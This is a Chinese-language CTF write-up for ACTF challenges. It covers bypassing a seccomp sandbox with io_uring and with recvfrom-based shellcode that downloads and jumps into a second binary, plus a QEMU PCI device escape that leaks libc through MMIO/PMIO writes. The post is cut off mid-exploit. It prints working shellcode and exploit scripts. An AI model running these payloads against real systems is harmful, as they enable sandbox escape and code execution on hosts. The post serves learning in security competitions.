ACTF

本文最后更新于:2023年12月7日 晚上

0x0:写在所有之前

👴有罪

👴这次爆零了

回想几个月前remakeACTF2022,唯一一道remake出来的tree_pwn还是看Nameless👴的博客搓的。

不得不感叹AAA的师傅出题是真有水平,没有奇怪的脑洞,全是干货。

但这和我一道都做不出有什么关系呢,悲

😭😭😭😭😭

没有能力的人是只能赛后remake的,是没有资格享受解题的激动与喜悦的

哎,屑korey这篇remake会写的尽量详细。

真的要得玉玉症了呜呜呜

0x1:Pwn remake🤣

master of asm

你是master🐎,反正👴不是

题目分析

能直接执行输入的shellcode,但是,我要说但是,本题开了一个及其离谱的沙盒:

img

open read write及其替代品是全kill了

👴当时想的是clone、fork、ptrace、lseek这些都没禁,想用ptrace来着,后来仔细一想我真tm是个SB啊,无论是fork还是clone,创建那个新进程时sandbox已经被调用了。

然后就没有然后了,👴又想找找有没有open read的漏网之鱼,打个测信道,然后也没有了下文。

👴开摆了,反正👴不是master就不是吧(bushi)

比赛结束后,Nightu👴说这题一眼看出io_uring

PS:👴当时的反应:这又是哪个🐔8玩意,怎么人与人的差别比人与狗的都大,妈妈生的

然后👴就去找资料了解io_uring

What ‘s io_uring

io_uringlinux从内核版本5.1开始引入的高性能异步I/O框架

具体的可以看这个

这边主要说一下和题目相关的

因为👴一直用CSDN上的祖传调用表,对于这三个调用号在400多的 👴是真的没印象

1
2
3
4
三个系统调用
io_uring_setup
io_uring_register
io_uring_enter

img

其中io_uring_setup + io_uring_enter就可以完成绝大部分I/O操作。

io_uring_setup

先用io_uring_setup设置异步I/O操作的上下文

1
int io_uring_setup(u32 entries, struct io_uring_params *p);
  • 创建一个 SQ(submission queue, 提交队列) 和一个 CQ(completed queue,完成队列)
  • queue size 至少 entries 个元素,
  • 返回一个文件描述符,随后用于在这个 io_uring 实例上执行操作。

SQ 和 CQ 在应用和内核之间共享,避免了在初始化和完成 I/O 时(initiating and completing I/O)拷贝数据。

参数 p:

  • 应用用来配置 io_uring
  • 内核返回的 SQ/CQ 配置信息也通过它带回来。

io_uring_setup() 成功时返回一个文件描述符(fd)

应用随后可以将这个 fd 传给 mmap(2) 系统调用,来 map the submission and completion queues 或者传给 to the io_uring_register() or io_uring_enter() system calls.

io_uring_enter

1
int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig);

这个系统调用用于初始化和完成(initiate and complete)I/O,使用共享的 SQ 和 CQ。 单次调用同时执行:

  1. 提交新的 I/O 请求
  2. 等待 I/O 完成

参数:

  1. fdio_uring_setup() 返回的文件描述符;
  2. to_submit 指定了 SQ 中提交的 I/O 数量;

io_uring_enter() 支持很多操作,包括:

  • Open, close, and stat files
  • Read and write into multiple buffers or pre-mapped buffers
  • Socket I/O operations
  • Synchronize file state
  • Asynchronously monitor a set of file descriptors
  • Create a timeout linked to a specific operation in the ring
  • Attempt to cancel an operation that is currently in flight
  • Create I/O chains
  • Ordered execution within a chain
  • Parallel execution of multiple chains

具体的demo可以让chatgpt帮忙写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <liburing.h>
#include <string.h>
#include <liburing/io_uring.h>
#define BUFSIZE 256


int main() {
struct io_uring ring;
struct io_uring_params params;
int fd;
char buffer[BUFSIZE];

// 初始化参数

memset(&params, 0, sizeof(params));
if (io_uring_queue_init_params(1, &ring, &params) < 0) {
perror("io_uring_queue_init_params");
return 1;
}


// 配置open操作
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "flag.txt", O_RDONLY, 0);
io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交open操作
io_uring_submit(&ring);

// 配置read操作
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, 4, buffer, BUFSIZE, 0);
io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交read操作
io_uring_submit(&ring);

sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFSIZE, 0);

io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交write操作
io_uring_submit(&ring);

// 等待操作完成
struct io_uring_cqe *cqe;
if (io_uring_wait_cqe(&ring, &cqe) < 0) {
perror("io_uring_wait_cqe");
return 1;
}


// 提交所有操作
io_uring_submit(&ring);

// 清理
io_uring_cq_advance(&ring, 2);
io_uring_queue_exit(&ring);
close(fd);

return 0;
}

然后可以进GDB看看发生了什么

可以看到io_uring_queue_init_params实际是io_uring_setup和两个mmap的封装

io_uring_setup执行后返回fd = 3

img

两个mmap有所不同,这个等会再讲

img

img

设第一个mmap出来的内存地址为mmap_address1,第二个mmap出来的内存地址为mmap_address2

io_uring_prep_openatio_uring_sqe_set_flags实则在对mmap_address2处的sqe结构体进行设置

后面的io_uring_prep_read/write也是如此

翻看源码,sqe结构体具体是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
struct io_uring_sqe {
__u8 opcode; /* type of operation for this sqe */
__u8 flags; /* IOSQE_ flags */
__u16 ioprio; /* ioprio for the request */
__s32 fd; /* file descriptor to do IO on */
union {
__u64 off; /* offset into file */
__u64 addr2;
struct {
__u32 cmd_op;
__u32 __pad1;
};
};
union {
__u64 addr; /* pointer to buffer or iovecs */
__u64 splice_off_in;
};
__u32 len; /* buffer size or number of iovecs */
union {
__kernel_rwf_t rw_flags;
__u32 fsync_flags;
__u16 poll_events; /* compatibility */
__u32 poll32_events; /* word-reversed for BE */
__u32 sync_range_flags;
__u32 msg_flags;
__u32 timeout_flags;
__u32 accept_flags;
__u32 cancel_flags;
__u32 open_flags;
__u32 statx_flags;
__u32 fadvise_advice;
__u32 splice_flags;
__u32 rename_flags;
__u32 unlink_flags;
__u32 hardlink_flags;
__u32 xattr_flags;
__u32 msg_ring_flags;
__u32 uring_cmd_flags;
};
__u64 user_data; /* data to be passed back at completion time */
/* pack this to avoid bogus arm OABI complaints */
union {
/* index into fixed buffers, if used */
__u16 buf_index;
/* for grouped buffer selection */
__u16 buf_group;
} __attribute__((packed));
/* personality to use, if used */
__u16 personality;
union {
__s32 splice_fd_in;
__u32 file_index;
struct {
__u16 addr_len;
__u16 __pad3[1];
};
};
union {
struct {
__u64 addr3;
__u64 __pad2[1];
};
/*
* If the ring is initialized with IORING_SETUP_SQE128, then
* this field is used for 80 bytes of arbitrary command data
*/
__u8 cmd[0];
};
};

在程序中leak这个结构体康康

img

发现是吻合的

至于io_uring_submit,则是io_uring_enter的封装

img

OK,Poc分析完毕

试图手搓shellcode

笔者觉得总的流程就是syscall_io_uring_setup初始化上下文,两个syscall_mmap,设置好sqe结构体后syscall_io_uring_enter提交submisson

But,笔者怎么搓都打不通呜呜呜/(ㄒoㄒ)/~~

这边放上笔者的失败品,如果有master搓通了能不能教教弟弟呜呜。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import sys
import ctypes

context.log_level='debug'
context.arch='amd64'


flag = 0
if flag:
p = remote('43.132.193.22', 9998)
else:
r = process('./master-of-orw')
p = process("./master-of-orw")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

code1 = '''
mov rsi, rdx
add rsi, 0x500
mov rdi, 0x10
push 425
pop rax
syscall
'''

code2 = '''
mov byte ptr [rax], 0x12
mov dword ptr [rax+4], 0xffffff9c
mov r15, 0x67616c662f2e
push r15
mov qword ptr [rax+0x10], rsp

mov byte ptr [rax+0x40], 0x16
mov dword ptr [rax+0x44], 4
push rsp
pop r15
sub r15, 0x100
mov qword ptr [rax+0x50], r15
mov byte ptr [rax+0x58], 0x30

mov byte ptr [rax+0x80], 0x17
mov dword ptr [rax+0x84], 1
push rsp
pop r15
sub r15, 0x100
mov qword ptr [rax+0x90], r15
mov byte ptr [rax+0x98], 0x30
mov rcx, 3
'''

shellcode = asm(code1, arch='amd64') + \
asm(shellcraft.mmap(0,0x380,3,0x8001,0x3,0)) + \
asm(shellcraft.mmap(0,0x380,3,0x8001,0x3,0x10000000)) + \
asm(code2, arch='amd64') + \
asm(shellcraft.io_uring_enter(3,3,3,3,3))

gdb.attach(p)
sl(shellcode)

p.interactive()

能初始化但是任务提交不上去呜呜

recvfrom!!

看了好几个师傅的wp发现都是用recvfrom做的,因为socket、connect、recvfrom都活着

先用gpt写一个poc,关掉pie,静态编译,建议加上-O3优化

mmap把0x400000那边权限改了,建立socket连接后,把静态链接的程序读入0x400000处

最后jmp到传入进去的main函数

真tm妙啊,妈妈生的

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <liburing.h>
#include <string.h>
#include <liburing/io_uring.h>
#define BUFSIZE 256


int main() {
struct io_uring ring;
struct io_uring_params params;
int fd;
char buffer[BUFSIZE];

// 初始化参数

memset(&params, 0, sizeof(params));
if (io_uring_queue_init_params(1, &ring, &params) < 0) {
perror("io_uring_queue_init_params");
return 1;
}


// 配置open操作
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "flag.txt", O_RDONLY, 0);
io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交open操作
io_uring_submit(&ring);

// 配置read操作
sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, 5, buffer, BUFSIZE, 0);
io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交read操作
io_uring_submit(&ring);

sqe = io_uring_get_sqe(&ring);
io_uring_prep_write(sqe, STDOUT_FILENO, buffer, BUFSIZE, 0);

io_uring_sqe_set_flags(sqe, IOSQE_ASYNC);


// 提交write操作
io_uring_submit(&ring);

// 等待操作完成
struct io_uring_cqe *cqe;
if (io_uring_wait_cqe(&ring, &cqe) < 0) {
perror("io_uring_wait_cqe");
return 1;
}


// 提交所有操作
io_uring_submit(&ring);

// 清理
io_uring_cq_advance(&ring, 2);
io_uring_queue_exit(&ring);
close(fd);

return 0;
}

Socket_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

int main() {
struct sockaddr_in *serv_addr = malloc(sizeof(struct sockaddr_in));
memset(serv_addr, 0, sizeof(struct sockaddr_in));
serv_addr->sin_family = AF_INET;
serv_addr->sin_addr.s_addr = inet_addr("127.0.0.1");
serv_addr->sin_port = htons(8888);
print_binary(serv_addr,16);
return 0;
}

在终端开

1
cat io_uring | nc -l 8888

再执行exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import sys
import ctypes

context.log_level='debug'
context.arch='amd64'


flag = 0
if flag:
p = remote('43.132.193.22', 9998)
else:
r = process('./master-of-orw')
p = process("./master-of-orw")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

socket_struct = 0x020022b87f000001
asm_socket = '''
mov rax, 41
mov rdi, 2
mov rsi, 1
xor rdx, rdx
syscall
'''

push_socket_struct = '''
mov r15, 0x0100007fb8220002
push r15
'''

asm_connect = '''
mov rsi, rsp
mov rdi, 3
mov rdx, 0x10
mov rax, 42
syscall
'''

cyc_recv = '''
mov rsi, 0x400000
mov r14, 0xcfcc8

again:
mov edi, 3
mov rdx, 0x1000
mov r10d, 0
xor r8d, r8d
xor r9d, r9d
mov eax, 45 ;// recvfrom
syscall
add rsi, rax
sub r14, rax
cmp r14,0
jge again

push 0x401620
ret
'''
shellcode = asm(shellcraft.mmap(0x400000,0x100000,7,33,0,0)) + \
asm(asm_socket) + asm(push_socket_struct) + asm(asm_connect) + \
asm(cyc_recv)



sl(shellcode)
p.interactive()

img

题目之外–about io_uring

源码康这里

io_uring_op还挺丰富

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
enum io_uring_op {
IORING_OP_NOP,
IORING_OP_READV,
IORING_OP_WRITEV,
IORING_OP_FSYNC,
IORING_OP_READ_FIXED,
IORING_OP_WRITE_FIXED,
IORING_OP_POLL_ADD,
IORING_OP_POLL_REMOVE,
IORING_OP_SYNC_FILE_RANGE,
IORING_OP_SENDMSG,
IORING_OP_RECVMSG,
IORING_OP_TIMEOUT,
IORING_OP_TIMEOUT_REMOVE,
IORING_OP_ACCEPT,
IORING_OP_ASYNC_CANCEL,
IORING_OP_LINK_TIMEOUT,
IORING_OP_CONNECT,
IORING_OP_FALLOCATE,
IORING_OP_OPENAT,
IORING_OP_CLOSE,
IORING_OP_FILES_UPDATE,
IORING_OP_STATX,
IORING_OP_READ,
IORING_OP_WRITE,
IORING_OP_FADVISE,
IORING_OP_MADVISE,
IORING_OP_SEND,
IORING_OP_RECV,
IORING_OP_OPENAT2,
IORING_OP_EPOLL_CTL,
IORING_OP_SPLICE,
IORING_OP_PROVIDE_BUFFERS,
IORING_OP_REMOVE_BUFFERS,
IORING_OP_TEE,
IORING_OP_SHUTDOWN,
IORING_OP_RENAMEAT,
IORING_OP_UNLINKAT,
IORING_OP_MKDIRAT,
IORING_OP_SYMLINKAT,
IORING_OP_LINKAT,
IORING_OP_MSG_RING,
IORING_OP_FSETXATTR,
IORING_OP_SETXATTR,
IORING_OP_FGETXATTR,
IORING_OP_GETXATTR,
IORING_OP_SOCKET,
IORING_OP_URING_CMD,
IORING_OP_SEND_ZC,
IORING_OP_SENDMSG_ZC,

/* this goes last, obviously */
IORING_OP_LAST,
};

找到了偏移量的设置:

1
2
3
4
5
6
7
8
9
10
#define IORING_OFF_SQ_RING		0ULL
#define IORING_OFF_CQ_RING 0x8000000ULL
#define IORING_OFF_SQES 0x10000000ULL
#define IORING_OFF_PBUF_RING 0x80000000ULL
#define IORING_OFF_PBUF_SHIFT 16
#define IORING_OFF_MMAP_MASK 0xf8000000ULL

IORING_OFF_SQ_RING:这是用于访问 Submission Queue Ring(SQ Ring)的偏移量。SQ Ring 用于存储I/O请求的提交队列

IORING_OFF_SQES:这是用于访问 Submission Queue Entry(SQE)的偏移量。SQE 是I/O请求的数据结构,用于描述I/O操作的各个参数。

也就解释了为什么对应第一个mmap的offset=0,第二个mmap的offset=0x10000000

qemu-playground

Reverse

👴先声明,这是👴人生中第一个逆向题,👴连那个核心算法都没看明白。👴输入了原始数据试一下,再把得到的数据输进去,然后,就没有然后了,👴就拿到了flag

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
// #define PAGE_SHIFT 12
// #define PAGE_SIZE (1 << PAGE_SHIFT) // 4096
// #define PFN_PRESENT (1ull << 63)
// #define PFN_PFN ((1ull << 55) - 1)

// #define PMIO_BASE 0x000000000000c000
// #define CSR(_x) ((_x) << 3)
// #define CSR5_TS_SUSPENDED 6
#define PMIO_BASE 0XC040

int fd;
unsigned char* mmio_mem;

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

uint32_t mmio_read(uint64_t addr)
{
return *((uint64_t *)(mmio_mem + addr));
}

void mmio_write(uint64_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t pmio_read(uint64_t value)
{
return inl(PMIO_BASE + value);
}

void pmio_write(uint64_t addr, uint32_t value)
{
outb(value,PMIO_BASE+addr);
}

void set_value(uint32_t addr, uint64_t value)
{
mmio_write(addr,value&0xffffffff);
mmio_write(addr+4,value>>32);
}

int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_SYNC|O_RDWR);
if (mmio_fd < 0)
{
perror("open mmio device failed!");
exit(-1);
}

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0);
if (mmio_mem == MAP_FAILED)
{
perror("get mmio_mem failed!");
exit(-1);
}
printf("addr of mmio:%p\n",mmio_mem);

if (iopl(3)!=0)
{
perror("open pmio device failed!");
exit(-1);
}

// 00:0000│ rbx 0x56043c8e1fa8 ◂— 0xaba29ec2a98dd89a
// 01:0008│ 0x56043c8e1fb0 ◂— 0xbbf1b4ab81b4a9d4
// 02:0010│ 0x56043c8e1fb8 ◂— 0xfb92a48db386ffa8
// 03:0018│ 0x56043c8e1fc0 ◂— 0xefb491b8afb4abd3
// 04:0020│ r11 0x56043c8e1fc8 ◂— 0x80ef69f1cbd00397
// 05:0028│ 0x56043c8e1fd0 ◂— 0xb2eb07859cda52d3
// 06:0030│ 0x56043c8e1fd8 ◂— 0xec9e22f5a5a07fa3
// 07:0038│ 0x56043c8e1fe0 ◂— 0x4b36df7b5b655a84

// 00:0000│ rbx 0x559cbeef0fa8 ◂— 0x7a1299023d29ff68
// 01:0008│ 0x559cbeef0fb0 ◂— 0x702edf5e423bb634
// 02:0010│ 0x559cbeef0fb8 ◂— 0x2653e2366369b36c
// 03:0018│ 0x559cbeef0fc0 ◂— 0xd9a33790b594ae73
// 04:0020│ r11 0x559cbeef0fc8 ◂— 0xc9b59388b0adbfbe
// 05:0028│ 0x559cbeef0fd0 ◂— 0x8bb287b5efbeaf84
// 06:0030│ 0x559cbeef0fd8 ◂— 0x95b4a2838496a4f8
// 07:0038│ 0x559cbeef0fe0 ◂— 0xc6ca9ad88681c5b4

// 0x7f0f875f94a0 ◂— 0x3525b76e0d25b76e
// 0x7f0f875f94a8 ◂— 0xb5a5278efde5674e
// 0x7f0f875f94b0 ◂— 0xb58517cead8517ce
// 0x7f0f875f94b8 ◂— 0x3505e72e7d4527ee

// something_i_know ^ x = flag 0x559cbeef0570

set_value(0x0,0x7a1299023d29ff68);
set_value(0x8,0x702edf5e423bb634);
set_value(0x10,0x2653e2366369b36c);
set_value(0x18,0xd9a33790b594ae73);
set_value(0x20,0xc9b59388b0adbfbe);
set_value(0x28,0x8bb287b5efbeaf84);
set_value(0x30,0x95b4a2838496a4f8);
set_value(0x38,0xc6ca9ad88681c5b4);

pmio_write(1,0);

return 0;
}

后来👴看了arr的wp,知道了这边才是核心(👴是不会说👴刚开始把后面的赋值当成核心在看的(bushi))

img

👴动调了一会发现大概应该或许可能是一个有点麻烦的异或,反正👴出flag了不管了

Pwn

👴一直搞不明白那个0xa31的地方是怎么变成1的

看了xtx师傅的wp发现pmio_write两次就行了,啊?

逆不明白,尊嘟逆不明白

后面就是mmio_write可以覆写0xa78低4位,造成任意地址读写

然后libc泄露因为只有低4位可改,找了半天也找不到,看了Esifiel师傅的官方wp才知道原来pandbg还有这个

1
2
pwndbg> leakfind 0x7fff60000000 --max_offset=0x1000 --page_name=libc
0x7fff60000000+0x8a0 —▸ 0x7ffff0000030+0x870 —▸ 0x7ffff6819c80 /usr/lib/x86_64-linux-gnu/libc.so.6

啊?啊?啊?

🤡

后面就是打_IO_FILE,在关机的时候把flag带出来,我这里用的是最顺手的house of apple链子

然后因为只有低四字节能覆盖,泄露libc大概有1/2的概率offset超出四字节限制,回直接dump掉,调式的时候真给👴干🤮🌶️。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
// #define PAGE_SHIFT 12
// #define PAGE_SIZE (1 << PAGE_SHIFT) // 4096
// #define PFN_PRESENT (1ull << 63)
// #define PFN_PFN ((1ull << 55) - 1)

// #define PMIO_BASE 0x000000000000c000
// #define CSR(_x) ((_x) << 3)
// #define CSR5_TS_SUSPENDED 6
#define PMIO_BASE 0XC040

int fd;
unsigned char* mmio_mem;
uint8_t payload[0x100];

void print_binary(char* buf, int length){
printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t *)(mmio_mem + addr));
}

void mmio_write(uint64_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t pmio_read(uint64_t value)
{
return inl(PMIO_BASE + value);
}

void pmio_write(uint64_t addr, uint32_t value)
{
outb(value,PMIO_BASE+addr);
}

void set_value(uint32_t addr, uint64_t value)
{
mmio_write(addr,value&0xffffffff);
mmio_write(addr+4,value>>32);
}

void send_payload(uint32_t start_addr, int size){
for(int i = 0; i < size / 8; ++i){
mmio_write(0x40, start_addr);
for(int j = 0; j < 8; ++j){
pmio_write(j + 0x10, payload[i * 8 + j]);
}
start_addr += 8;
}
}

int main()
{
uint32_t leak[0x10] = {0};
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_SYNC|O_RDWR);
if (mmio_fd < 0)
{
perror("open mmio device failed!");
exit(-1);
}

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0);
if (mmio_mem == MAP_FAILED)
{
perror("get mmio_mem failed!");
exit(-1);
}
printf("addr of mmio:%p\n",mmio_mem);

if (iopl(3)!=0)
{
perror("open pmio device failed!");
exit(-1);
}

// 00:0000│ rbx 0x56043c8e1fa8 ◂— 0xaba29ec2a98dd89a
// 01:0008│ 0x56043c8e1fb0 ◂— 0xbbf1b4ab81b4a9d4
// 02:0010│ 0x56043c8e1fb8 ◂— 0xfb92a48db386ffa8
// 03:0018│ 0x56043c8e1fc0 ◂— 0xefb491b8afb4abd3
// 04:0020│ r11 0x56043c8e1fc8 ◂— 0x80ef69f1cbd00397
// 05:0028│ 0x56043c8e1fd0 ◂— 0xb2eb07859cda52d3
// 06:0030│ 0x56043c8e1fd8 ◂— 0xec9e22f5a5a07fa3
// 07:0038│ 0x56043c8e1fe0 ◂— 0x4b36df7b5b655a84

// 00:0000│ rbx 0x559cbeef0fa8 ◂— 0x7a1299023d29ff68
// 01:0008│ 0x559cbeef0fb0 ◂— 0x702edf5e423bb634
// 02:0010│ 0x559cbeef0fb8 ◂— 0x2653e2366369b36c
// 03:0018│ 0x559cbeef0fc0 ◂— 0xd9a33790b594ae73
// 04:0020│ r11 0x559cbeef0fc8 ◂— 0xc9b59388b0adbfbe
// 05:0028│ 0x559cbeef0fd0 ◂— 0x8bb287b5efbeaf84
// 06:0030│ 0x559cbeef0fd8 ◂— 0x95b4a2838496a4f8
// 07:0038│ 0x559cbeef0fe0 ◂— 0xc6ca9ad88681c5b4

// 0x7f0f875f94a0 ◂— 0x3525b76e0d25b76e
// 0x7f0f875f94a8 ◂— 0xb5a5278efde5674e
// 0x7f0f875f94b0 ◂— 0xb58517cead8517ce
// 0x7f0f875f94b8 ◂— 0x3505e72e7d4527ee

// something_i_know ^ x = flag 0x559cbeef0570

set_value(0x0,0x7a1299023d29ff68);
set_value(0x8,0x702edf5e423bb634);
set_value(0x10,0x2653e2366369b36c);
set_value(0x18,0xd9a33790b594ae73);
set_value(0x20,0xc9b59388b0adbfbe);
set_value(0x28,0x8bb287b5efbeaf84);
set_value(0x30,0x95b4a2838496a4f8);
set_value(0x38,0xc6ca9ad88681c5b4);

pmio_write(1,0);
sleep(1);

pmio_write(0,0);
sleep(1);

pmio_write(1,0);
pmio_write(0x10,0);
sleep(1);
leak[0] = mmio_read(0x40);
uint32_t addr1 = 0;
addr1 = (leak[0] >> 24) << 24;

mmio_write(0x40,addr1 + 0x8a0);
leak[0] = pmio_read(0+0x10);
leak[1] = pmio_read(4+0x10);

uint64_t addr2 = 0;
addr2 = leak[1] * 0x100000000 + leak[0];
sleep(1);
mmio_write(0x40,leak[0]+0x8a0-0x30);

leak[0] = pmio_read(0+0x10);
leak[1] = pmio_read(0+0x14);

size_t libc_address = 0;
libc_address = (leak[1]*0x100000000) + leak[0] - 0x219c80;
